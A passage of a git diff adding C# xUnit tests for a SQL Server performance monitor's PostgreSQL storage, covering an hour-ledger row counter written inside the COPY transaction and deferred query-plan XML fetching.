+            Assert.Equal(await RawMeasuredAsync(rig.Connection, serverId, H10, ct), await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(rig.Scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    /// <summary>
+    /// A COPY that fails after some rows were already counted by the failed attempt's writer leaves the ledger as it was, and
+    /// the next batch is counted once: the count lives on the attempt's own writer, so nothing of a failed attempt can carry
+    /// into the next one (the same guarantee a re-attempt on a fresh connection relies on). A CHECK constraint that
+    /// rejects one marked row stands in for the COPY fault.
+    /// </summary>
+    [Fact]
+    public async Task AFailedCopy_LeavesTheLedgerUnchanged_AndTheNextBatchIsCountedOnce()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        const int serverId = -945203;
+        const string serverName = "ledgerwriter-copyfault";
+
+        await using var rig = await Rig.OpenAsync(serverId, serverName, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal(2, await rig.WriteAsync(H10.AddMinutes(1), Rows(1, "a", "b"), ct));
+            Assert.Equal(2, await rig.WriteAsync(H10.AddMinutes(2), Rows(3, "a", "b"), ct));
+            Assert.Equal(2L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+
+            await ExecAsync(
+                rig.Connection,
+                "ALTER TABLE collect.query_stats ADD CONSTRAINT ck_ledger_writer_refuse CHECK (database_name IS DISTINCT FROM 'REFUSE_THIS_ROW')",
+                ct);
+
+            /* Two measured rows and one the table refuses: the failed attempt's writer counted 2, the COPY threw. */
+            var failing = Rows(6, "a", "b");
+            failing.Add(Row("c", 1, database: "REFUSE_THIS_ROW"));
+            var fault = await Assert.ThrowsAsync<PostgresException>(() => rig.WriteAsync(H10.AddMinutes(3), failing, ct));
+            Assert.Equal("23514", fault.SqlState);
+            Assert.Equal(4L, await RawRowsAsync(rig.Connection, serverId, ct));
+            Assert.Equal(2L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+
+            /* The next batch: two measured rows, so the ledger moves by exactly two (not by four). */
+            Assert.Equal(2, await rig.WriteAsync(H10.AddMinutes(4), Rows(9, "a", "b"), ct));
+            Assert.Equal(4L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+            Assert.Equal(await RawMeasuredAsync(rig.Connection, serverId, H10, ct), await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(rig.Scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    /// <summary>
+    /// The writer's tally, on a real binary COPY: it counts the integer the COPY sends at the watched position, a NULL counts
+    /// (the rollup's <c>IS DISTINCT FROM 0</c> population includes it) and a 0 does not. The product's collector can never
+    /// emit a NULL interval (<c>ResolveWorkerDelta</c> returns an int), so the NULL rule is pinned here, on the seam that would
+    /// count one. A value written through another overload at the watched position is NOT tallied, and
+    /// <c>CountedWrites</c> shows it, which is what the runner's guard compares with the rows it wrote. The host's own prefix
+    /// writes (collection_time, server_id) reach the same overloads before the payload opens, in the runner's order, and are
+    /// not tallied either, even when one of them lands on the watched position.
+    /// </summary>
+    [Fact]
+    public async Task TheWriterTalliesTheValueItSendsAtTheIntervalPosition_ANullCountsAndAZeroDoesNot()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var rig = await Rig.OpenAsync(-945204, "ledgerwriter-seam", ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(rig.Connection, "CREATE TEMP TABLE ledger_writer_seam (a integer, b integer, c text); CREATE TEMP TABLE ledger_writer_seam_long (a integer, b bigint, c text); CREATE TEMP TABLE ledger_writer_seam_prefix (t timestamp, sid integer, a integer, b integer, c text)", ct);
+
+            var writer = new PgCollectorRowWriter();
+            writer.CountNonZeroAt(1);
+            using (var importer = await rig.Connection.BeginBinaryImportAsync("COPY ledger_writer_seam (a, b, c) FROM STDIN (FORMAT BINARY)", ct))
+            {
+                writer.Importer = importer;
+                foreach (var interval in new int?[] { 0, 60, null, 0, 5 })
+                {
+                    await importer.StartRowAsync(ct);
+                    writer.BeginPayload();
+                    writer.Value(1).Value(interval).Value("x");
+                }
+
+                await importer.CompleteAsync(ct);
+            }
+
+            Assert.Equal(3L, writer.NonZeroCounted);
+            Assert.Equal(5L, writer.CountedWrites);
+            Assert.Equal(5L, Convert.ToInt64(await ScalarAsync(rig.Connection, "SELECT count(*) FROM ledger_writer_seam", ct)));
+
+            /* Starting a tally again starts from zero: the per-attempt reset a re-attempt relies on. */
+            writer.CountNonZeroAt(1);
+            Assert.Equal(0L, writer.NonZeroCounted);
+            Assert.Equal(0L, writer.CountedWrites);
+
+            using (var importer = await rig.Connection.BeginBinaryImportAsync("COPY ledger_writer_seam_long (a, b, c) FROM STDIN (FORMAT BINARY)", ct))
+            {
+                writer.Importer = importer;
+                await importer.StartRowAsync(ct);
+                writer.BeginPayload();
+                writer.Value(1).Value(7L).Value("x");
+                await importer.CompleteAsync(ct);
+            }
+
+            Assert.Equal(0L, writer.NonZeroCounted);
+            Assert.Equal(0L, writer.CountedWrites);
+
+            /* The runner's own order: each row's PREFIX (collection_time, server_id) goes through these same overloads BEFORE
+               BeginPayload resets the position, so on a fresh writer the first row's server_id (a Value(int)) lands at
+               position 1, the watched one, and must not be tallied as the interval. A FRESH writer, because the runner builds
+               one per attempt and the checks above leave `writer` already past the collision. */
+            var prefixWriter = new PgCollectorRowWriter();
+            prefixWriter.CountNonZeroAt(1);
+            var prefixRows = 0;
+            using (var importer = await rig.Connection.BeginBinaryImportAsync("COPY ledger_writer_seam_prefix (t, sid, a, b, c) FROM STDIN (FORMAT BINARY)", ct))
+            {
+                prefixWriter.Importer = importer;
+                foreach (var interval in new int?[] { 0, 60, null })
+                {
+                    await importer.StartRowAsync(ct);
+                    prefixWriter.Value(new DateTime(2026, 1, 5, 10, 0, 0)).Value(7);
+                    prefixWriter.BeginPayload();
+                    prefixWriter.Value(1).Value(interval).Value("x");
+                    prefixWriter.EndPayload(3);
+                    prefixRows++;
+                }
+
+                await importer.CompleteAsync(ct);
+            }
+
+            Assert.Equal(prefixRows, prefixWriter.CountedWrites);
+            Assert.Equal(2L, prefixWriter.NonZeroCounted);
+            Assert.Equal(3L, Convert.ToInt64(await ScalarAsync(rig.Connection, "SELECT count(*) FROM ledger_writer_seam_prefix WHERE sid = 7", ct)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(rig.Scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStatsHourLedgerWriterTests.cs b/Darling/Darling.Tests/QueryStatsHourLedgerWriterTests.cs
new file mode 100644
index 0000000000..0841682a22
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStatsHourLedgerWriterTests.cs
@@ -0,0 +1,154 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source and seam pins for the hour-ledger writer (#4605, plan lane 2). The live behaviour is
+/// <see cref="QueryStatsHourLedgerWriterLiveTests"/>; these pins hold the SHAPE the live tests cannot see: where the upsert
+/// sits in <c>CopyBatchOnceAsync</c> (inside the COPY's transaction, after the COPY and the dimension flush, before the
+/// commit, with nothing that could swallow its fault), and that the interval's position is resolved from the schema.
+/// </summary>
+public sealed class QueryStatsHourLedgerWriterTests
+{
+    private static string Here([CallerFilePath] string thisFile = "") => thisFile;
+
+    /// <summary>The body of <c>CopyBatchOnceAsync</c> with comments and string literals blanked (character-aligned), so a word in prose is not code.</summary>
+    private static string CopyBatchOnceCode()
+    {
+        var path = Path.Combine(Path.GetDirectoryName(Here())!, "..", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs");
+        var text = File.ReadAllText(path);
+        var start = text.IndexOf("private async Task<int> CopyBatchOnceAsync<TRow>(", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var end = text.IndexOf("private static List<string>? DistinctQueryStoreDatabases", start, StringComparison.Ordinal);
+        Assert.True(end > start);
+        return CSharpSourceWalker.StripCommentsAndStrings(text[start..end]);
+    }
+
+    [Fact]
+    public void TheUpsert_SitsInTheCopyTransaction_AfterTheCopyAndTheDimensionFlush_BeforeTheCommit()
+    {
+        var code = CopyBatchOnceCode();
+        var complete = code.IndexOf("importer.CompleteAsync(", StringComparison.Ordinal);
+        var flush = code.IndexOf("PayloadDimensionWriter.FlushAsync(", StringComparison.Ordinal);
+        var transactionBlock = code.IndexOf("if (transaction is not null)", StringComparison.Ordinal);
+        var upsert = code.IndexOf("QueryStatsHourLedgerWriter.AddBatchAsync(", StringComparison.Ordinal);
+        var commit = code.IndexOf("transaction.CommitAsync(", StringComparison.Ordinal);
+
+        Assert.True(complete > 0 && flush > complete, "the dimension flush follows the COPY's completion");
+        Assert.True(transactionBlock > complete, "the transaction block follows the COPY");
+        Assert.True(upsert > flush, "the ledger upsert follows the dimension flush");
+        Assert.True(upsert > transactionBlock, "the ledger upsert sits INSIDE the `transaction is not null` block");
+        Assert.True(commit > upsert, "the commit follows the ledger upsert, so both commit together or neither does");
+        Assert.Single(Regex.Matches(code, @"QueryStatsHourLedgerWriter\.AddBatchAsync\("));
+
+        /* The transaction block closes after the commit and nothing between the upsert and the commit can swallow or
+           split its fault: no catch, no savepoint, no rollback. Its fault must abort the batch. */
+        var between = code[upsert..commit];
+        Assert.DoesNotContain("catch", between, StringComparison.Ordinal);
+        Assert.DoesNotContain("SaveAsync", between, StringComparison.Ordinal);
+        Assert.DoesNotContain("SAVEPOINT", between, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("RollbackAsync", between, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheUpsert_IsOnlyForQueryStats_KeysOnTheStorageNameTheCopyWrites_AndTakesTheWritersTally()
+    {
+        var code = CopyBatchOnceCode();
+
+        /* Keyed on the table the COPY writes, not on the CLR type: a query_stats-bound definition that is not the catalog's
+           sealed QueryStatsCollector is counted too, or fails loudly (#4605). */
+        Assert.Contains("var ledgerBatch = string.Equals(definition.TargetTable, QueryStatsCollector.Instance.TargetTable, StringComparison.OrdinalIgnoreCase);", code, StringComparison.Ordinal);
+
+        var upsert = code.IndexOf("QueryStatsHourLedgerWriter.AddBatchAsync(", StringComparison.Ordinal);
+        var call = code[upsert..code.IndexOf(");", upsert, StringComparison.Ordinal)];
+        Assert.Contains("server.ServerId", call, StringComparison.Ordinal);
+        Assert.Contains("server.StorageName", call, StringComparison.Ordinal);
+        Assert.Contains("storedCollectionTime", call, StringComparison.Ordinal);
+        Assert.Contains("writer.NonZeroCounted", call, StringComparison.Ordinal);
+
+        /* The COPY writes that same storage name, so the ledger's key is the raw rows' key. */
+        Assert.Contains(".Value(server.StorageName)", code, StringComparison.Ordinal);
+
+        /* The batch's one stored time is written for every row, which is why one batch is one hour. */
+        Assert.Single(Regex.Matches(code, @"\.Value\(storedCollectionTime\)"));
+        Assert.Single(Regex.Matches(code, @"var storedCollectionTime = "));
+    }
+
+    [Fact]
+    public void TheTally_StartsOnTheAttemptsOwnWriter_BeforeTheFirstRow_AndANamedTransactionTermCoversTheLedger()
+    {
+        var code = CopyBatchOnceCode();
+        var writerBuilt = code.IndexOf("new PgCollectorRowWriter()", StringComparison.Ordinal);
+        var tally = code.IndexOf("writer.CountNonZeroAt(QueryStatsHourLedgerWriter.IntervalPayloadIndex(definition))", StringComparison.Ordinal);
+        var copyOpen = code.IndexOf("BeginBinaryImportAsync(", StringComparison.Ordinal);
+        var rowLoop = code.IndexOf("foreach (var row in rows)", StringComparison.Ordinal);
+
+        Assert.True(writerBuilt > 0 && tally > writerBuilt, "the writer is built per attempt, and the tally starts on it");
+        Assert.True(copyOpen > tally && rowLoop > tally, "the tally starts before the first row is written");
+        Assert.Single(Regex.Matches(code, @"new PgCollectorRowWriter\(\)"));
+
+        /* The ledger term keeps the transaction non-null for a ledger batch whatever the diversion plan says. */
+        Assert.Matches(@"diversionPlan\.Count > 0 \|\| queryStoreDatabases is not null \|\| ledgerBatch\s*\?\s*await pgConnection\.BeginTransactionAsync", code);
+
+        /* A row that wrote the interval through another overload would be untallied: the batch fails before the COPY completes.
+           The comparison lives in EnsureEveryRowTallied (its own test below fails without it), so this pins the CALL: it sits
+           after the row loop, before the COPY completes, and directly inside `if (ledgerBatch)`. */
+        var guard = code.IndexOf("QueryStatsHourLedgerWriter.EnsureEveryRowTallied(definition.Name, rowsWritten, writer.CountedWrites)", StringComparison.Ordinal);
+        Assert.True(guard > rowLoop && guard < code.IndexOf("importer.CompleteAsync(", StringComparison.Ordinal));
+        Assert.Matches(@"if \(ledgerBatch\)\s*\{\s*QueryStatsHourLedgerWriter\.EnsureEveryRowTallied\(definition\.Name, rowsWritten, writer\.CountedWrites\);", code);
+    }
+
+    [Fact]
+    public void EnsureEveryRowTallied_ThrowsOnAnyMismatch_AndPassesOnEquality()
+    {
+        QueryStatsHourLedgerWriter.EnsureEveryRowTallied("query_stats", 3, 3);
+        Assert.Throws<InvalidOperationException>(() => QueryStatsHourLedgerWriter.EnsureEveryRowTallied("query_stats", 3, 2));
+        Assert.Throws<InvalidOperationException>(() => QueryStatsHourLedgerWriter.EnsureEveryRowTallied("query_stats", 3, 4));
+        Assert.Throws<InvalidOperationException>(() => QueryStatsHourLedgerWriter.EnsureEveryRowTallied("query_stats", 1, 0));
+    }
+
+    [Fact]
+    public void AddBatchAsync_WritesNothingForACountOfZero_BeforeAnyCommandIsBuilt()
+    {
+        var path = Path.Combine(Path.GetDirectoryName(Here())!, "..", "PerformanceMonitor.Darling.Storage", "QueryStatsHourLedgerWriter.cs");
+        var code = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(path));
+        var skip = code.IndexOf("if (count <= 0)", StringComparison.Ordinal);
+        var command = code.IndexOf("new NpgsqlCommand(", StringComparison.Ordinal);
+
+        Assert.True(skip > 0 && command > skip, "a count of 0 returns before a command is built (no round trip)");
+        Assert.Contains("CommandTimeout = commandTimeoutSeconds", code, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheIntervalPosition_IsResolvedByName_AndIsTheColumnTheCopyNamesAtThatPosition()
+    {
+        var definition = QueryStatsCollector.Instance;
+        var index = QueryStatsHourLedgerWriter.IntervalPayloadIndex(definition);
+
+        Assert.Equal("sample_interval_seconds", definition.PayloadColumns[index].Name);
+        Assert.Equal(CollectorColumnType.Integer, definition.PayloadColumns[index].Type);
+
+        /* The COPY lists collection_time, server_id and server_name (and a collection id when the table has one) before the payload. */
+        var copy = PgCollectorRowWriter.CopyCommandFor(definition);
+        var open = copy.IndexOf('(', StringComparison.Ordinal);
+        var close = copy.IndexOf(')', open);
+        var columns = copy[(open + 1)..close].Split(',').Select(c => c.Trim()).ToArray();
+        var prefix = 3 + (definition.IncludesCollectionId ? 1 : 0);
+        Assert.Equal("sample_interval_seconds", columns[prefix + index]);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStatsLedgerSeed.cs b/Darling/Darling.Tests/QueryStatsLedgerSeed.cs
new file mode 100644
index 0000000000..5e81154a6f
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStatsLedgerSeed.cs
@@ -0,0 +1,64 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: seeds the <c>collect.query_stats</c> hour ledger for a live test that plants raw rows with a direct INSERT. The
+/// collector's COPY writes the ledger in its own transaction, so a row a test plants by INSERT has no ledger row of its
+/// own, and the count guard (<see cref="IntervalRollupCountGuard"/>) compares the ledger with the hourly rollup. The
+/// helper makes the ledger what the writer would have made it: <see cref="QueryStatsHourLedger.RecountSql"/> over the
+/// hours the test planted into, and the state row's <c>counted_since</c> moved below them, because the V164 rung sets it
+/// to the next whole hour after the store migrated and every test here plants into a fixed past anchor.
+///
+/// <para>A recount SETS a (server, hour) to raw's count, so calling it again after a later INSERT makes the ledger agree
+/// with raw again, which is how a late row the real writer would have counted reaches the ledger. An in-place UPDATE
+/// changes no count, so the ledger stays as it was, as it would on a real store.</para>
+/// </summary>
+internal static class QueryStatsLedgerSeed
+{
+    /// <summary>A <c>counted_since</c> far below every test anchor: the ledger is taken to cover every hour a test plants.</summary>
+    internal static readonly DateTime Low = new(2000, 1, 1, 0, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>Recounts <c>[from, to)</c> from raw (widened to whole hours by the SQL) and returns the ledger rows written and deleted.</summary>
+    internal static async Task<(long Written, long Deleted)> RecountAsync(NpgsqlConnection connection, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(QueryStatsHourLedger.RecountSql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(from, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(to, DateTimeKind.Unspecified) });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        await reader.ReadAsync(ct);
+        return (reader.GetInt64(0), reader.GetInt64(1));
+    }
+
+    /// <summary>Moves the state row's <c>counted_since</c>. The row exists on any migrated store (the rung inserts it).</summary>
+    internal static async Task SetCountedSinceAsync(NpgsqlConnection connection, DateTime since, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand($"UPDATE {QueryStatsHourLedger.StateTable} SET counted_since = $1", connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(since, DateTimeKind.Unspecified) });
+        var rows = await command.ExecuteNonQueryAsync(ct);
+        if (rows != 1)
+        {
+            throw new InvalidOperationException($"The ledger state table should hold exactly one row; the update touched {rows}.");
+        }
+    }
+
+    /// <summary>Recounts <c>[from, to)</c> and sets <c>counted_since</c> to <see cref="Low"/>: the ledger now covers and matches every raw row a test planted.</summary>
+    internal static async Task SeedAsync(NpgsqlConnection connection, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await RecountAsync(connection, from, to, ct);
+        await SetCountedSinceAsync(connection, Low, ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStatsPlanFetchTests.cs b/Darling/Darling.Tests/QueryStatsPlanFetchTests.cs
new file mode 100644
index 0000000000..a79706548e
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStatsPlanFetchTests.cs
@@ -0,0 +1,297 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5158: <c>query_stats</c> can leave the plan out of its main query (<see cref="CollectorContext.DeferPlanXmlFetch"/>)
+/// and render only the plans a host asks for in a second target query. Nothing sets the switch yet, so
+/// these pin the collector's two shapes and the writer seam, not any behavior change. The full-text
+/// byte pins for the unchanged shapes are in <see cref="QueryStatsSqlGoldenTests"/>.
+/// </summary>
+public sealed class QueryStatsPlanFetchTests
+{
+    private static CollectorContext MakeContext(bool capture, bool defer = false, bool azure = false)
+        => new()
+        {
+            ServerId = 42,
+            ServerName = "test-server",
+            CollectionTime = new DateTime(2026, 7, 2, 12, 0, 0, DateTimeKind.Utc),
+            Deltas = new NoDeltas(),
+            Target = new CollectorTargetInfo { IsAzureSqlDb = azure },
+            CapturePlanXml = capture,
+            DeferPlanXmlFetch = defer,
+        };
+
+    private static readonly QueryStatsCollector.PlanFetchKey[] s_keys =
+    {
+        new(new byte[] { 0x06, 0x00, 0x05, 0xAB }, 0, -1),
+        new(new byte[] { 0x06, 0x00, 0x0F, 0x01, 0xEE }, 128, 340),
+        new(new byte[] { 0xFF }, 0, 90),
+    };
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void MainQuery_Deferred_CarriesNoPlanFetchAndNoPlanColumns(bool azure)
+    {
+        var sql = QueryStatsCollector.Instance.BuildQuery(MakeContext(capture: true, defer: true, azure: azure)).Text;
+
+        Assert.DoesNotContain("dm_exec_text_query_plan", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("query_plan_xml", sql, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void MainQuery_Deferred_IsTheNoPlanForm(bool azure)
+    {
+        var deferred = QueryStatsCollector.Instance.BuildQuery(MakeContext(capture: true, defer: true, azure: azure)).Text;
+        var captureOff = QueryStatsCollector.Instance.BuildQuery(MakeContext(capture: false, azure: azure)).Text;
+
+        Assert.Equal(captureOff, deferred);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void MainQuery_InlineCapture_StillCarriesThePlanFetch(bool azure)
+    {
+        var sql = QueryStatsCollector.Instance.BuildQuery(MakeContext(capture: true, azure: azure)).Text;
+
+        Assert.Contains("dm_exec_text_query_plan", sql, StringComparison.Ordinal);
+        Assert.Contains("query_plan_xml_bytes", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void DeferWithoutCapture_ChangesNothing()
+    {
+        Assert.Equal(
+            QueryStatsCollector.Instance.BuildQuery(MakeContext(capture: false)).Text,
+            QueryStatsCollector.Instance.BuildQuery(MakeContext(capture: false, defer: true)).Text);
+    }
+
+    [Fact]
+    public void FetchQuery_HasTheValuesShape_TheCapCase_TheBytesColumn_AndRecompile()
+    {
+        var sql = QueryStatsCollector.BuildPlanFetchQuery(MakeContext(capture: true, defer: true), s_keys).Text;
+
+        Assert.Contains("(0, 0x060005AB, 0, -1)", sql, StringComparison.Ordinal);
+        Assert.Contains("(1, 0x06000F01EE, 128, 340)", sql, StringComparison.Ordinal);
+        Assert.Contains("(2, 0xFF, 0, 90)", sql, StringComparison.Ordinal);
+        Assert.True(sql.IndexOf("(0, 0x", StringComparison.Ordinal) < sql.IndexOf("(1, 0x", StringComparison.Ordinal));
+        Assert.True(sql.IndexOf("(1, 0x", StringComparison.Ordinal) < sql.IndexOf("(2, 0x", StringComparison.Ordinal));
+        Assert.Contains("AS k (ord, plan_handle, s, e)", sql, StringComparison.Ordinal);
+        Assert.Contains("OUTER APPLY", sql, StringComparison.Ordinal);
+        Assert.Contains("k.plan_handle,", sql, StringComparison.Ordinal);
+        Assert.Contains("sys.dm_exec_text_query_plan", sql, StringComparison.Ordinal);
+        Assert.Contains("query_plan_xml_bytes = DATALENGTH(tqp.query_plan)", sql, StringComparison.Ordinal);
+        Assert.EndsWith("OPTION(RECOMPILE);", sql, StringComparison.Ordinal);
+        Assert.Empty(QueryStatsCollector.BuildPlanFetchQuery(MakeContext(capture: true), s_keys).Parameters);
+    }
+
+    [Fact]
+    public void FetchQuery_UsesTheSameCapCase_AsTheInlineFragment()
+    {
+        var cap = "CASE WHEN DATALENGTH(tqp.query_plan) > "
+            + QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes.ToString(System.Globalization.CultureInfo.InvariantCulture)
+            + " THEN NULL ELSE tqp.query_plan END";
+
+        var inline = QueryStatsCollector.Instance.BuildQuery(MakeContext(capture: true)).Text;
+        var fetch = QueryStatsCollector.BuildPlanFetchQuery(MakeContext(capture: true), s_keys).Text;
+
+        Assert.Contains(cap, inline, StringComparison.Ordinal);
+        Assert.Contains(cap, fetch, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FetchQuery_ThrowsOnAnEmptyKeyList()
+        => Assert.Throws<InvalidOperationException>(() =>
+            QueryStatsCollector.BuildPlanFetchQuery(MakeContext(capture: true), Array.Empty<QueryStatsCollector.PlanFetchKey>()));
+
+    [Fact]
+    public void FetchQuery_ThrowsWhenCaptureIsOff()
+        => Assert.Throws<InvalidOperationException>(() =>
+            QueryStatsCollector.BuildPlanFetchQuery(MakeContext(capture: false), s_keys));
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(65)]
+    public void FetchQuery_ThrowsOnAHandleThatIsNotAPlanHandle(int length)
+        => Assert.Throws<InvalidOperationException>(() =>
+            QueryStatsCollector.BuildPlanFetchQuery(
+                MakeContext(capture: true),
+                new[] { new QueryStatsCollector.PlanFetchKey(new byte[length], 0, -1) }));
+
+    [Fact]
+    public async Task ReadPlanFetchAsync_MapsOrdToPlanAndBytes_IncludingAgedOutAndOverCap()
+    {
+        using var table = new DataTable();
+        table.Columns.Add("ord", typeof(int));
+        table.Columns.Add("query_plan_xml", typeof(string));
+        table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        table.Rows.Add(0, "<ShowPlanXML/>", 14L);
+        table.Rows.Add(1, DBNull.Value, 900_000L);
+        table.Rows.Add(2, DBNull.Value, DBNull.Value);
+
+        await using var reader = table.CreateDataReader();
+        var result = await QueryStatsCollector.ReadPlanFetchAsync(reader, new PerformanceMonitor.Common.SensitiveStatements.Session(), CancellationToken.None);
+
+        Assert.Equal(("<ShowPlanXML/>", (long?)14), result[0]);
+        Assert.Equal(((string?)null, (long?)900_000), result[1]);
+        Assert.Equal(((string?)null, (long?)null), result[2]);
+    }
+
+    /// <summary>The read goes through the collector's own ReadAsync, in both modes, over the shipped column layout.</summary>
+    [Fact]
+    public async Task ReadAsync_Deferred_DoesNotReadTheTrailingPlanOrdinals()
+    {
+        var deferred = await ReadOneRowAsync(MakeContext(capture: true, defer: true), withPlanColumns: false);
+        Assert.Null(deferred.QueryPlanXml);
+        Assert.Null(deferred.QueryPlanXmlBytes);
+        Assert.Null(deferred.KnownPlanDigest);
+
+        var inline = await ReadOneRowAsync(MakeContext(capture: true), withPlanColumns: true);
+        Assert.Equal("<ShowPlanXML/>", inline.QueryPlanXml);
+        Assert.Equal(14L, inline.QueryPlanXmlBytes);
+    }
+
+    private static async Task<QueryStatsCollector.Row> ReadOneRowAsync(CollectorContext context, bool withPlanColumns)
+    {
+        using var table = new DataTable();
+        for (var i = 0; i < 44; i++)
+        {
+            /* The columns the read touches are typed by position; the rest only need to exist. */
+            table.Columns.Add("c" + i.ToString(System.Globalization.CultureInfo.InvariantCulture), ColumnType(i));
+        }
+
+        if (withPlanColumns)
+        {
+            table.Columns.Add("query_plan_xml", typeof(string));
+            table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        }
+
+        var values = new object[table.Columns.Count];
+        for (var i = 0; i < 44; i++)
+        {
+            values[i] = DBNull.Value;
+        }
+
+        if (withPlanColumns)
+        {
+            values[44] = "<ShowPlanXML/>";
+            values[45] = 14L;
+        }
+
+        table.Rows.Add(values);
+
+        await using var reader = table.CreateDataReader();
+        var rows = await QueryStatsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+        return Assert.Single(rows);
+    }
+
+    private static Type ColumnType(int ordinal) => ordinal switch
+    {
+        3 or 4 => typeof(DateTime),
+        0 or 1 or 2 or 36 or 37 or 38 or 42 => typeof(string),
+        40 or 41 or 43 => typeof(int),
+        _ => typeof(long),
+    };
+
+    [Fact]
+    public void PayloadOrDigest_Default_CallsValueExactlyOnceWithTheContent_AndIgnoresTheDigest()
+    {
+        var writer = new CountingWriter();
+
+        var returned = ((ICollectorRowWriter)writer).PayloadOrDigest("<plan/>", "ABCDEF");
+
+        Assert.Same(writer, returned);
+        Assert.Equal(new[] { "<plan/>" }, writer.StringValues);
+    }
+
+    [Fact]
+    public void PayloadOrDigest_Default_PassesANullContentThrough()
+    {
+        var writer = new CountingWriter();
+
+        ((ICollectorRowWriter)writer).PayloadOrDigest(null, "ABCDEF");
+
+        Assert.Equal(new string?[] { null }, writer.StringValues);
+    }
+
+    /// <summary>Wiring: WritePayload goes through PayloadOrDigest, so a digest-aware writer sees the row's digest.</summary>
+    [Fact]
+    public void WritePayload_RoutesThePlanColumnThroughPayloadOrDigest_WithTheRowsDigest()
+    {
+        var writer = new DigestAwareWriter();
+        var row = new QueryStatsCollector.Row
+        {
+            QueryHash = "0x01",
+            QueryPlanXml = "<plan/>",
+            KnownPlanDigest = "ABCDEF",
+        };
+
+        QueryStatsCollector.Instance.WritePayload(row, writer, MakeContext(capture: true));
+
+        var call = Assert.Single(writer.PayloadOrDigestCalls);
+        Assert.Equal(("<plan/>", "ABCDEF"), call);
+    }
+
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+
+    private class CountingWriter : ICollectorRowWriter
+    {
